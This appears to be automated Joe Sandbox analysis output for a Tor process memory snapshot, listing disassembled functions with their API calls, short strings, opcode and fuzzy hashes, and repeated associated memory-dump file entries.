Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failabort$strrchr$D_bytes
String ID:
API String ID: 3331780374-0
Opcode ID: d3fd1da9f7cba6997b2db7d30058a82f32333e7e19163d1e4c3bae3f2d5bed89
Instruction ID: 576b7d8db427d4f0004e89503631ae6ead3d179ada6cdba62ca477e667c95903
Opcode Fuzzy Hash: d3fd1da9f7cba6997b2db7d30058a82f32333e7e19163d1e4c3bae3f2d5bed89
Instruction Fuzzy Hash: 652127B0905306DFCF50EFA9C8482AEBBF0BF44259F40892DE8949B240D738C584DFA2

Uniqueness

Uniqueness Score: -1.00%

Function 016561B0 Relevance: 7.6, APIs: 5, Instructions: 55timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 016561E9
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,013B14A2), ref: 016561FA
GetCurrentThreadId.KERNEL32 ref: 01656202
GetTickCount.KERNEL32 ref: 0165620A
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,013B14A2), ref: 01656219

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 871058bf00dbd33471911a3f4fb471ca5164b049b2d0ae7015804c7f14c5d56e
Instruction ID: 85879d21a257e98e29fe42d2e9f109b513656d38f88d63ea9b1e25b9ffb5ba27
Opcode Fuzzy Hash: 871058bf00dbd33471911a3f4fb471ca5164b049b2d0ae7015804c7f14c5d56e
Instruction Fuzzy Hash: 14115EB56043048FC324DF79EC8854BBBE0FB88265F458839E444C6214EB35D599CF92

Uniqueness

Uniqueness Score: -1.00%

Function 013B27E4 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0 ref: 013B297E

Part of subcall function 013B1870: abort.MSVCRT ref: 013B18DA
Part of subcall function 013B1870: __stack_chk_fail.LIBSSP-0 ref: 013B18ED

Strings

connection_check_event, xrefs: 013B292F
Backtrace attached., xrefs: 013B294B
Event missing on connection %p [%s;%s]. socket=%d. linked=%d. is_dns_request=%d. Marked_for_close=%s:%d, xrefs: 013B2927

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abort
String ID: Backtrace attached.$Event missing on connection %p [%s;%s]. socket=%d. linked=%d. is_dns_request=%d. Marked_for_close=%s:%d$connection_check_event
API String ID: 646538096-1189854997
Opcode ID: a83f28c4e3e508773382a631106af22316e73fce393a8ec1948c7e59c758cee8
Instruction ID: 3827a9aad47af4b172450bac91e44e4ba0eb60124ae99d84d3dcd27f9c525f55
Opcode Fuzzy Hash: a83f28c4e3e508773382a631106af22316e73fce393a8ec1948c7e59c758cee8
Instruction Fuzzy Hash: 25511371D042588FCB00DFA9C484AEEBBF0BB49254F05855AF9A8EB251D338E950CF65

Uniqueness

Uniqueness Score: -1.00%

Function 0157B1C5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 015811B5: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,0157B1FE), ref: 015811DC

abort.MSVCRT ref: 0157B25D
abort.MSVCRT ref: 0157B2A3
__stack_chk_fail.LIBSSP-0 ref: 0157B36A

Strings

w, xrefs: 0157B293

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failabort
String ID: w
API String ID: 3276312271-476252946
Opcode ID: af8e5c1df61dc053d0394578e865decd8abaa157b5eee5679681c5ca95cef8f0
Instruction ID: 0b88cbd17d71bcfcbc8ec6fa6bae92a4c9fc03bec2ed21cb91193e67e044ab2b
Opcode Fuzzy Hash: af8e5c1df61dc053d0394578e865decd8abaa157b5eee5679681c5ca95cef8f0
Instruction Fuzzy Hash: 2C5181B4A0520ADFCB40DFA8C584AAEBBF1BF48354F508959E894EB350D774E944CF62

Uniqueness

Uniqueness Score: -1.00%

Function 0158D019 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 0158D0D0
__stack_chk_fail.LIBSSP-0 ref: 0158D203

Part of subcall function 0158CB06: __stack_chk_fail.LIBSSP-0 ref: 0158CBDC

memcmp.MSVCRT ref: 0158D148

Strings

, xrefs: 0158D133

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failmemcmp
String ID:
API String ID: 1611709857-3916222277
Opcode ID: 432136051918d83d4c02e867769f75ff89faa6879fd6fe42aa03c39c207d1388
Instruction ID: 63316555b8f04f6b612252ccc923b410c6141daf445f530ba1eee3443e20d160
Opcode Fuzzy Hash: 432136051918d83d4c02e867769f75ff89faa6879fd6fe42aa03c39c207d1388
Instruction Fuzzy Hash: 86519FB4D01219CFDB50DFA9D885B8DBBF4BB49314F10856AE868E7381EB349985CF11

Uniqueness

Uniqueness Score: -1.00%

Function 0147E0C2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 0147E12D

Part of subcall function 0147C95F: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,0147E196), ref: 0147C986

abort.MSVCRT ref: 0147E16C
__stack_chk_fail.LIBSSP-0 ref: 0147E232

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Strings

0, xrefs: 0147E1D9

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abortstrrchr
String ID: 0
API String ID: 2422377151-4108050209
Opcode ID: f76530be8da5993d0e2568d79ddd9ee6d345b0b78bf65f1e098be47a2c176c6c
Instruction ID: 1678df3dff55f3b6608f63bca2f0d70eb81625a7063a6f6256b1ebd09a2dfdcb
Opcode Fuzzy Hash: f76530be8da5993d0e2568d79ddd9ee6d345b0b78bf65f1e098be47a2c176c6c
Instruction Fuzzy Hash: B34109B490830A9FCB40EFA8D5446EEBBF4BF05304F41896AE898AB351D734D945CF52

Uniqueness

Uniqueness Score: -1.00%

Function 0158C6B6 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

Part of subcall function 0158B3FC: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,0158C6CE), ref: 0158B476

memcmp.MSVCRT ref: 0158C75F
memcmp.MSVCRT ref: 0158C7C2
__stack_chk_fail.LIBSSP-0 ref: 0158C830

Strings

@, xrefs: 0158C7AC

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failmemcmp
String ID: @
API String ID: 1611709857-2766056989
Opcode ID: e6b1872ac6f523f1ee5925ddf48f170e4ba679fcccbc09eb8979d10f28c08841
Instruction ID: b7ee521ec82165b6063c06c9bb8f0f829b90507cb9fa9a2d5c929f0936d440ef
Opcode Fuzzy Hash: e6b1872ac6f523f1ee5925ddf48f170e4ba679fcccbc09eb8979d10f28c08841
Instruction Fuzzy Hash: 80413174955319CFD710EF68C884B9EBBF5BF84214F00C999D894AB350E730D9448F62

Uniqueness

Uniqueness Score: -1.00%

Function 01556846 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53stringCOMMON

Download Yara Rule

APIs

strrchr.MSVCRT ref: 0155686A
strrchr.MSVCRT ref: 01556880
__stack_chk_fail.LIBSSP-0 ref: 015568E5

Strings

\, xrefs: 01556872

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: strrchr$__stack_chk_fail
String ID: \
API String ID: 934669423-2967466578
Opcode ID: 5ee430b668eb46efa7d3047f2b4150a6d0537f536bbdd7d42f2ac9bb31964fc6
Instruction ID: ac1fe6bc3c5cedb64edd9a53e1eadeca48ebbe0ed71d031d45f6c1d9896619e1
Opcode Fuzzy Hash: 5ee430b668eb46efa7d3047f2b4150a6d0537f536bbdd7d42f2ac9bb31964fc6
Instruction Fuzzy Hash: A121A2B4D0425ADFDF90DFA8C5956AEBBF1BF04304F54482AD951AB240D374AA80CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 01408C05 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 01408C55
memset.MSVCRT ref: 01408C73
__stack_chk_fail.LIBSSP-0 ref: 01408C84

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Strings

c, xrefs: 01408C45

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abortmemset
String ID: c
API String ID: 4235535680-112844655
Opcode ID: 3ceb37ff6986eedf4a699d3a589128565546a08c4167b081320bc63b82335a7a
Instruction ID: 487cf6c0b33310be97da61b77be68213b8325ca1bff59013b97ffd84cfef66f0
Opcode Fuzzy Hash: 3ceb37ff6986eedf4a699d3a589128565546a08c4167b081320bc63b82335a7a
Instruction Fuzzy Hash: 9201F2B0909316DBDB40EFA9C84476FBBF4AB44348F40882DE8949B240D678D694DFA2

Uniqueness

Uniqueness Score: -1.00%

Function 01581140 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 01581190
SSL_pending.SSLEAY32 ref: 0158119E
__stack_chk_fail.LIBSSP-0 ref: 015811AE

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Strings

H, xrefs: 01581180

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$L_pendingabort
String ID: H
API String ID: 1878672263-10841942
Opcode ID: a6d661fdcda4e307cf7dc95709ba51856c6c114e51a1d824423c5a06f026f520
Instruction ID: 791abe3da59fa595796fc202402a6e3ea3a22b6c3ee406b2f9977e96b232d7e4
Opcode Fuzzy Hash: a6d661fdcda4e307cf7dc95709ba51856c6c114e51a1d824423c5a06f026f520
Instruction Fuzzy Hash: FEF04974904306DFDB80EFA5C88866EBBF5BF44214F41881DD8949F301D638D586CF92

Uniqueness

Uniqueness Score: -1.00%

Function 0155374A Relevance: 6.2, APIs: 4, Instructions: 161COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 01553797

Part of subcall function 0155CD27: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,0155381D), ref: 0155CD85

abort.MSVCRT ref: 015537FA
__stack_chk_fail.LIBSSP-0 ref: 01553997

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 0155397B

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abort$strrchr
String ID:
API String ID: 797389190-0
Opcode ID: dc4d27aeeeece5fec3572a24fa21f30fd52eb508a2b7fc2fcfd07a5688a83069
Instruction ID: 3f33dae9ed2d9ae46feda15cda7cf1f4ad9b44b10d45e619f4b885ff0079152c
Opcode Fuzzy Hash: dc4d27aeeeece5fec3572a24fa21f30fd52eb508a2b7fc2fcfd07a5688a83069
Instruction Fuzzy Hash: 6071C0B4A052069FCB90EFA8D594A9EBBF4FF48354F01845AE844EB300E734E945DF61

Uniqueness

Uniqueness Score: -1.00%

Function 01529C57 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 01529CCE
abort.MSVCRT ref: 01529D23
free.MSVCRT ref: 01529DEF
__stack_chk_fail.LIBSSP-0 ref: 01529E1D

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: abort$__stack_chk_failfree
String ID:
API String ID: 3331017156-0
Opcode ID: c31e13962c231929b7bdb317948afdfd28334e2836114141b1ec2b57db3ab385
Instruction ID: 3b3f6f6180728bbf67082f0137e576a4e6697657b5f3c4012505dc3cb4429aea
Opcode Fuzzy Hash: c31e13962c231929b7bdb317948afdfd28334e2836114141b1ec2b57db3ab385
Instruction Fuzzy Hash: 9B51A8B4A0431A9FCB40DFA8C5846AEBBF0BF49354F518859E884EB350D778D940DF62

Uniqueness

Uniqueness Score: -1.00%

